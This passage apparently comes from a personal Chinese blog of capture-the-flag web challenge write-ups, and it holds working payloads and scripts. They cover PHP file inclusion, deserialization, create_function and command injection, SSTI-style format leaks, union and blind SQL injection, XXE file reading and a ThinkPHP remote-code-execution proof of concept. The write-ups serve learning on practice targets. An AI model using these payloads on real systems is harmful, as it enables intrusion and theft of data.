time.sleep(1) # 睡一秒

for i in range(1, 99):
math = ""



resTest = response.text #获取返回包的内容
for j in range(0, len(resTest)): #遍历获取网页数学表达式,这里建议用正则表达式(re)
if resTest[j - 1] == ">" and resTest[j + 1] == "<" and resTest[j]!= "\n":
math = math + resTest[j]

# strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列
math = math.strip('=') #去掉末尾等号
math = math.strip('+') # 去掉开头加号
num = eval(math) #计算数学表达式的值
num += 9223372036854775807

myData = { #构造的POST数据
'ans': num,
'input': "99999999999999999999999999999999999999999999999999999999999999999999999"
}

response = res.post(url, data=myData) #发post包,提交答案,并且获取返回包,获取下一个计算式
print(response.text) #打印当前返回包的内容
time.sleep(1) # 睡一秒

if "ctf{" in response.text: #如果返回包里面有flag
print("Flaggggggggg: ", response.text)
exit() # 退出当前程序,也可以break

image-20260210213052680

[NSSRound#8 Basic]MyDoor

image-20260210213058355

一开始什么都没有,只看到url中有一个get参数file,就试了一下文件读取

image-20260210213102568

就想到了试试伪协议

payload

1
?file=php://filter/read=convert.base64-encode/resource=index.php

image-20260210213106154

解码一下看到了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);

if (isset($_GET['N_S.S'])) {
eval($_GET['N_S.S']);
}

if(!isset($_GET['file'])) {
header('Location:/index.php?file=');
} else {
$file = $_GET['file'];

if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
include $file;
} else {
die('error.');
}
}

看到了get参数N_S.S是一个非法参数

payload

1
?N[S.S=system('env');

image-20260210213110807

[MoeCTF 2021]地狱通讯

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from flask import Flask, render_template, request
from flag import flag, FLAG
import datetime

app = Flask(__name__)


@app.route("/", methods=["GET", "POST"])
def index():
with open("app.py", "r") as f:
ctx = f.read()

f1ag = request.args.get("f1ag") or ""
exp = request.args.get("exp") or ""
flAg = FLAG(f1ag)
message = "Your flag is {0}" + exp

if exp == "":
return ctx
else:
return message.format(flAg)


if __name__ == "__main__":
app.run()
  • 用户通过 exp 参数传入的内容被直接拼接到格式化字符串中
  • 当调用 .format(flAg) 时,如果 exp 中包含 {}{0.xxx} 等格式化语法,Python 会尝试访问 flAg 对象的属性或方法
  • flAg = FLAG(f1ag) 是一个自定义的 FLAG 类实例,攻击者可能借此读取其内部敏感属性(比如真实的 flag)

payload

1
?f1ag=1&exp={0.__class__.__init__.__globals__}

image-20260210213115936

[第五空间 2021]pklovecloud

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
 <?php  
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}

class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}

class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}

if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>

代码审计

ace类中return file_get_contents($file)可以用来进行文件读取

需要满足$this->openstack->neutron === $this->openstack->nova的强比较

利用到echo_name()自定义的方法

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
include 'flag.php';


class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}

class ace
{
public $filename;
public $openstack;
public $docker;
}


$ace= new ace();
$ace->filename='flag.php';
$ace->docker = null;
$acp= new acp();

echo urlencode(serialize($acp));

#O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

image-20260210213122671

没有出,比对了网上wp的思路感觉没什么问题

用一个网上wp的脚本试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class acp
{
protected $cinder ;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename = 'flag.php';
public $openstack;
public $docker;

}

$a= new ace();
$a->docker = null;

$b=new acp();
echo urlencode(serialize($b));

#O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

对比发现我的exp没有给filename赋上正确的值(但不知道为什么,filename明明是公有的)

payload

1
?pks=O%3A3%3A"acp"%3A3%3A%7Bs%3A9%3A"%00%2A%00cinder"%3BO%3A3%3A"ace"%3A3%3A%7Bs%3A8%3A"filename"%3Bs%3A8%3A"flag.php"%3Bs%3A9%3A"openstack"%3BN%3Bs%3A6%3A"docker"%3BN%3B%7Ds%3A7%3A"neutron"%3BN%3Bs%3A4%3A"nova"%3BN%3B%7D

image-20260210213128479

看到了真的flag文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
include 'flag.php';


class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}

class ace
{
public $filename='../nssctfasdasdflag';
public $openstack;
public $docker;
}


$ace= new ace();
$ace->filename;
$ace->docker = null;
$acp= new acp();

echo urlencode(serialize($acp));

payload

1
?pks=O%3A3%3A"acp"%3A3%3A%7Bs%3A9%3A"%00%2A%00cinder"%3BO%3A3%3A"ace"%3A3%3A%7Bs%3A8%3A"filename"%3Bs%3A19%3A"..%2Fnssctfasdasdflag"%3Bs%3A9%3A"openstack"%3BN%3Bs%3A6%3A"docker"%3BN%3B%7Ds%3A7%3A"neutron"%3BN%3Bs%3A4%3A"nova"%3BN%3B%7D

image-20260210213133785

[CISCN 2023 华北]ez_date

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}

unserialize(base64_decode($_GET['code']));

wakeup禁用了数组,MD5比较就不能用数组模糊绕过了

正则表达式

  • 开头的“/”和i前的“\”表示正则表达式语法的开始和结束
  • (\s)* :匹配零个或多个空白字符(空格、制表符等)
  • (\n)+ :匹配一个或多个换行符
  • (\s)* :再次匹配零个或多个空白字符
  • i :修饰符,表示不区分大小写

正则表达式会将上述空白字符和换行符都替换为空字符串

file_get_contents($data)是利用点用来读取文件的

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;

}


$date=new date();
$date->a=1;
$date->b='1';
$date->file='/f\l\a\g';

echo base64_encode(serialize($date));

payload

1
?code=Tzo0OiJkYXRlIjozOntzOjE6ImEiO2k6MTtzOjE6ImIiO3M6MToiMSI7czo0OiJmaWxlIjtzOjg6Ii9mXGxcYVxnIjt9

[MoeCTF 2022]ezhtml

image-20260210213139584

访问这个js目录

image-20260210213143821

[NSSRound#16 Basic]了解过PHP特性吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
 <?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
echo $rce;
}

看着就很头大,没办法一关关看吧

1
2
3
4
5
6
7
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}

intval检测整数但num参数又不能含有数字,就用一个非空数组绕过

payload

1
2
3
4
5
6
7
?num[1]=a&num[2]=b
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}

MD5绕过

payload

1
ctype=QNKCDZO&is_num=s878926199a

intval 绕过且长度限制,is_numeric 绕过

payload

1
2
3
4
get传参
114=1e8
POST
514=999999999a

array_search 绕过

array_search()函数在数组中搜索某个键值,并返回对应的键名

payload

1
arr4y[]=0

image-20260210213150942

源码

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
$nss_shell = create_function($shell,$nss);
}

create_function的注入

payload

1
nss=return;}system('cat /flag');/*&shell=

[SWPUCTF 2022 新生赛]ez_sql(关键字绕过)

image-20260210213157024

根据题目提示是sql参数是nss,先尝试get传参

image-20260210213201335

被警告了说要用相对安全的传参方式,OK这里积累了一个小知识点就是POST传参比GET传参相对安全

nss=1

???就出了?好吧不是两个都是假的

image-20260210213205730

开始SQL注入吧

nss=1’

image-20260210213210523

出现报错说明存在SQL注入

报错解析: 这个报错的核心是 SQL 语句存在语法格式错误

关键错误片段’’1’’, 这个写法是重复单引号导致的语法畸形

nss=1’ order by 2 – +

image-20260210213215023

报错解析:SQL 语法错误,核心原因是你的注入语句末尾的–+没有被正确解析,导致 MariaDB 把+后面的内容(或者–+本身)当成了 SQL 语句的一部分,最终触发语法校验失败

或者很有可能是被过滤

先尝试用/**/过滤空格

nss=1’//order//by/**/3–+

image-20260210213219516

报错分析:看到der//by//3+ 发现or也被过滤了

用||尝试绕过or

nss=1’//||der//by/**/3–+

依旧报错

image-20260210213240124报错解析:’by/**/3+’,||好像不行&&试了也不行

nss=-1’//oorrder//by/**/3#

就想到用双写绕过测列数,3的时候正常回显

image-20260210213226818

nss=-1’//oorrder//by/**/4#

4的时候报错,说明列数为3,因为列数相同满足联合注入

image-20260210213244894

nss=-2’//ununionion//select/**/1,2,3#

测试回显位

image-20260210213248471

nss=-2’//ununionion//select/**/1,2,database()#

测试数据库名称

image-20260210213253273

nss=-2’//ununionion//select//1,2,group_concat(table_name)//from//infoorrmation_schema.tables//where/**/table_schema=’NSS_db’#

测试表名

image-20260210213257544

nss=-2’//ununionion//select//1,2,group_concat(id,Secr3t,flll444g)//from/**/NSS_tb#

NSS_tb:表名,从表中查看字段image-20260210213304606

GHCTF 2025

分析代码就能知道,在路由/ghctf中,以POST的方式传入参数xml,关键点在于解析XML的部分。这里使用了lxml库的etree模块,创建了一个XML解析器parser,参数是load_dtd=True和resolve_entities=True。这两个参数可能开启外部实体解析,导致XXE漏洞。

并且没有过滤

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests

# 配置目标信息
TARGET_URL = "http://node1.anna.nssctf.cn:24380/ghctf" # 替换为实际目标地址
FILE_TO_READ = "/flag" # 尝试读取的文件路径

# 构造恶意XML
malicious_xml = f'''<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file://{FILE_TO_READ}">
]>
<root>
<name>&xxe;</name>
</root>'''

try:
# 发送恶意请求
response = requests.post(
TARGET_URL,
data={'xml': malicious_xml},
timeout=10
)

# 解析响应
if response.status_code == 200:
print("[+] 攻击成功!响应内容:")
print(response.text)
else:
print(f"[-] 请求失败,状态码:{response.status_code}")

except Exception as e:
print(f"[-] 发生错误:{str(e)}")

image-20260210213309523

[WUSTCTF 2020]颜值成绩查询

image-20260210213314311

看到是布尔盲注,就想到应该是要利用脚本攻击了:(

只能找wp了(不知道sqlmap能不能做出来,没试过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
import requests
import time


# 获取数据库信息
def get_db_info(strings, url, success):
db_length = 1
now_db_length = 1
while db_length > 0:
get_db_url = url + '/**/and/**/length(database())=' + str(db_length) + '#'
result = requests.get(get_db_url).content.decode('utf-8')
if success in result:
print('数据库长度为:' + str(db_length))
break
db_length = db_length + 1
db_name = ''
while now_db_length < db_length + 1:
for one_char in strings:
get_db_url = url + '/**/and/**/substr(database(),' + str(now_db_length) + ',1)=%27' + one_char + '%27#'
result = requests.get(get_db_url).content.decode('utf-8')
if success in result:
db_name = db_name + one_char
break
now_db_length = now_db_length + 1
print("\r", end="")
print('数据库名字为:' + db_name, end='')
return db_name


# 获取数据库内表的信息
def get_table_info(strings, url, success, db_name):
table_names = []
table_num = 0
while table_num >= 0:
get_table_url = url + '/**/and/**/length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=%27' + db_name + '%27/**/limit/**/' + str(
table_num) + ',1))>0--+'
result = requests.get(get_table_url).content.decode('utf-8')
if success in result:
table_num = table_num + 1
else:
break
print('数据库内表的数量为:' + str(table_num))
# 获得表的数量,但是需要+1,然后依次获取每个表的名称长度
now_table_num = 0
while now_table_num < table_num:
length = 1
while length > 0:
get_table_url = url + '/**/and/**/length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=%27' + db_name + '%27/**/limit/**/' + str(
now_table_num) + ',1))=' + str(length) + '--+'
result = requests.get(get_table_url).content.decode('utf-8')
if success in result:
break
length = length + 1
now_length = 1
table_name = ''
while now_length < length + 1:
# 添加for循环获取字符
for one_char in strings:
get_table_url = url + '/**/and/**/substr((select/**/ table_name/**/from/**/information_schema.tables/**/where/**/table_schema=%27' + db_name + '%27/**/limit/**/' + str(
now_table_num) + ',1),' + str(now_length) + ',1)=%27' + one_char + '%27--+'
result = requests.get(get_table_url).content.decode('utf-8')
time.sleep(0.1)
if success in result:
table_name = table_name + one_char
print("\r", end="")
print('表' + str(now_table_num + 1) + '名字为:' + table_name, end='')
break
now_length = now_length + 1
print('')
table_names.append(table_name)
# 开始指向下一个表
now_table_num = now_table_num + 1
return table_names


# 通过表名来获取表内列的信息,在必要的时候可以修改sql语句,通过db_name限制
def get_column_info(strings, url, success, db_name, table_names):
# 开始获取第一个表内的列
for i in range(0, len(table_names)):
column_names = []
column_num = 0
# 获取第一个表内列的数量
while column_num >= 0:
get_column_url = url + '/**/and/**/length((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=%27' + str(
table_names[i]) + '%27/**/limit/**/' + str(column_num) + ',1))>0--+'
result = requests.get(get_column_url).content.decode('utf-8')
if success in result:
column_num = column_num + 1
else:
print(str(table_names[i]) + '表的列数量为:' + str(column_num))
for now_column_num in range(0, column_num):
length = 1
while length >= 0:
get_column_url = url + '/**/and/**/length((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=%27' + str(
table_names[i]) + '%27/**/limit/**/' + str(now_column_num) + ',1))=' + str(length) + '--+'
result = requests.get(get_column_url).content.decode('utf-8')
if success in result:
# 获取列明
now_length = 1
column_name = ''
# for one_char in strings:
while now_length < length + 1:
for one_char in strings:
get_column_url = url + '/**/and/**/substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=%27' + str(
table_names[i]) + '%27/**/limit/**/' + str(now_column_num) + ',1),' + str(
now_length) + ',1)=%27' + str(one_char) + '%27--+'
result = requests.get(get_column_url).content.decode('utf-8')
if success in result:
column_name = column_name + str(one_char)
now_length = now_length + 1
print("\r", end="")
print('第' + str(now_column_num + 1) + '列的名称为:' + column_name, end='')
break
column_names.append(column_name)
print('')
break
else:
length = length + 1
break
# 读取第表内的数据
get_data(strings, url, success, db_name, table_names[i], column_names)


# 定义读取表内数据的函数
def get_data(strings, url, success, db_name, table_names, column_names):
print('开始获取表内数据------------------------------------------')
# for i in range(0, len(table_names)):
for k in range(0, len(column_names)):
# 判断是否存在第k列
row = 0
while row >= 0:
get_data_url = url + '/**/and/**/length((select/**/' + str(column_names[k]) + '/**/from/**/' + str(
table_names) + '/**/limit/**/' + str(row) + ',1))>0--+'
result = requests.get(get_data_url).content.decode('utf-8')
if success in result:
row = row + 1
# 如果存在此列,就判断此列的数据长度
length = 0
while length >= 0:
get_data_url = url + '/**/and/**/length((select/**/' + str(
column_names[k]) + '/**/from/**/' + str(table_names) + '/**/limit/**/' + str(
row - 1) + ',1))=' + str(length) + '--+'
result = requests.get(get_data_url).content.decode('utf-8')
if success in result:
# 获得数据的长度
break
else:
length = length + 1
# 获取此列的数据内容
now_length = 1
data = ''
while now_length < length + 1:
for one_char in strings:
get_data_url = url + '/**/and/**/substr((select/**/' + str(
column_names[k]) + '/**/from/**/' + str(table_names) + '/**/limit/**/' + str(
row - 1) + ',1),' + str(now_length) + ',1)=%27' + str(one_char) + '%27--+'
result = requests.get(get_data_url).content.decode('utf-8')
if success in result:
data = data + one_char
print("\r", end="")
print(column_names[k] + '列的第' + str(row) + '行数据为:' + data, end='')
break
now_length = now_length + 1
else:
break
print('')


if __name__ == '__main__':
strings = 'abcdefghijklmnopqrstuvwxyz1234567890_{}-~'
url = 'http://node5.anna.nssctf.cn:24394/?stunum=1'
success = 'your score is: 100'
print('可以获取数据库内全部表的信息,但获取当前表的值需要修改success值')
print('失败结果是一致的,可以修改为success为失败的值,则可以获取当前表数据')
print('开始获取数据库信息---------------------------------------')
db_name = get_db_info(strings, url, success)
print('\n开始获取数据库内表信息------------------------------------')
table_names = get_table_info(strings, url, success, db_name)
print('开始获取表结构信息-----------------------------------------')
get_column_info(strings, url, success, db_name, table_names)
print('获取表数据信息结束-----------------------------------------')

[广东强网杯 2021 团队组]love_Pokemon

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){
mkdir($dir);
}

function DefenderBonus($Pokemon){
if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
die('catch broken Pokemon! mew-_-two');
}
else{
return $Pokemon;
}

}

function ghostpokemon($Pokemon){
if(is_array($Pokemon)){
foreach ($Pokemon as $key => $pks) {
$Pokemon[$key] = DefenderBonus($pks);
}
}
else{
$Pokemon = DefenderBonus($Pokemon);
}
}

switch($_POST['myfavorite'] ?? ""){
case 'picacu!':
echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'bulbasaur!':
echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
$level = $_POST["levelup"] ?? "";
if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
echo file_get_contents('./hint.php');
}
break;
case 'squirtle':
echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'mewtwo':
$dream = $_POST["dream"] ?? "";
if(strlen($dream)>=20){
die("So Big Pokenmon!");
}
ghostpokemon($dream);
echo shell_exec($dream);
}

?>

看到了shell_exec($dream)利用点,里面还有一个hint

先拿到hint

1
2
3
4
5
6
7
8
9
10
switch($_POST['myfavorite'] ?? ""){
case 'picacu!':
echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'bulbasaur!':
echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
$level = $_POST["levelup"] ?? "";
if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
echo file_get_contents('./hint.php');
}

需要参数myfavorite的值等于bulbasaur!

同时要满足levelup不包含lv100, 但经过escapeshellarg()函数处理后,又需要包含 lv100

这里需要escapeshellarg()函数的绕过

escapeshellarg() 函数在处理超过 ASCII 码范围的字符的时候会直接过滤掉该字符串

可以利用上述bug绕过该函数

payload

1
myfavorite=bulbasaur!&levelup=lv%80100

image-20260210213325502

这里我们就得到了flag的位置,我们就利用shell_exec()读取flag

之前先要绕过waf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){
mkdir($dir);
}

function DefenderBonus($Pokemon){
if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
die('catch broken Pokemon! mew-_-two');
}
else{
return $Pokemon;
}

这个waf直接过滤了字母a、l之类的,那cat、nl、less、more都不能用,这里就需要用到其他读取文件的命令od,还过滤了空格和FLAG

payload

1
myfavorite=mewtwo&dream=od%09/F[G-O][@-B]G

image-20260210213331622

得到flag的八进制表示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
dump = """0000000 051516 041523 043124 033173 032070 063060 033071 026464
0000020 034065 031462 032055 030460 026466 032141 031070 031055
0000040 060470 031466 063142 033060 062065 076471 000012
0000055
"""
dump = dump.replace("\n", " ")

octs = [("0o" + n) for n in dump.split(" ") if n]
hexs = [int(n, 8) for n in octs]
result = ""

for n in hexs:
if (len(hex(n)) > 4):
swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)
result += swapped[2:].zfill(4)

print(bytes.fromhex(result).decode())

[SWPUCTF 2022 新生赛]ez_rce

image-20260210213336547扫描发现了爬虫

image-20260210213342145

image-20260210213346158

在网上搜到了可执行的POC

image-20260210213352137

payload

1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls+/ 

他的flag不在最开始的flag文件里,而是在nss/ctf/flag目录下

payload

1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat+/nss/ctf/flag/flag

[GWCTF 2019]你的名字

SSTI貌似有很多waf,利用焚靖绕过

image-20260210213356592

[羊城杯 2020]Blackcat

image-20260210225957003

有一个音频但是点不开,先看看源码

image-20260210230051803

看到了这个音频文件点点看

image-20260210230133626

上面全是乱码但在最下面居然有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);

这里有一个hash_hmac()函数

hash_hmac($algo, $data, $key)

当传入的 $data为数组时,加密得到的固定结果就是null

所以给White-cat-monitor赋值为一个数组

这样$clandestine = hash_hmac(‘sha256’, $_POST[‘White-cat-monitor’], $clandestine);的值就为null

1
exec("nc".$_POST['One-ear'])

执行这个拼接的命令但想到nc是用来连接的,由于exec只返回命令执行结果的最后一行内容,为了不干扰后续的命令执行先给One-ear赋值分号再加上后续的命令

需要让Black-Cat-Sheriff的值等于$hh = hash_hmac(‘sha256’, $_POST[‘One-ear’], $clandestine);就要运行一下看看$hh的结果

1
2
3
<?php
var_dump(hash_hmac('sha256', ';env', null));
?>

payload

1
White-cat-monitor[]=1&One-ear=;env&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b

image-20260210231809066

发现flag不在环境变量里,之前试了ls都没有找到

image-20260210232406306

看了眼信息发现一直忽略了是在Windows环境下

那查看目录下文件的命令就是dir

1
2
3
<?php
var_dump(hash_hmac('sha256', ';dir', null));
?>

payload

1
White-cat-monitor[]=1&One-ear=;dir&Black-Cat-Sheriff=83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395

image-20260210232515942

payload

1
White-cat-monitor[]=1&One-ear=;more f*&Black-Cat-Sheriff=1f61c14baad48fa2946c106e7224a54311ed4936ad229e3763ccceffe59b1a76

image-20260210233253434


NSSCTF
https://colourful228.github.io/2026/01/18/NSSCTF/
作者
Colourful
发布于
2026年1月18日
更新于
2026年2月10日
许可协议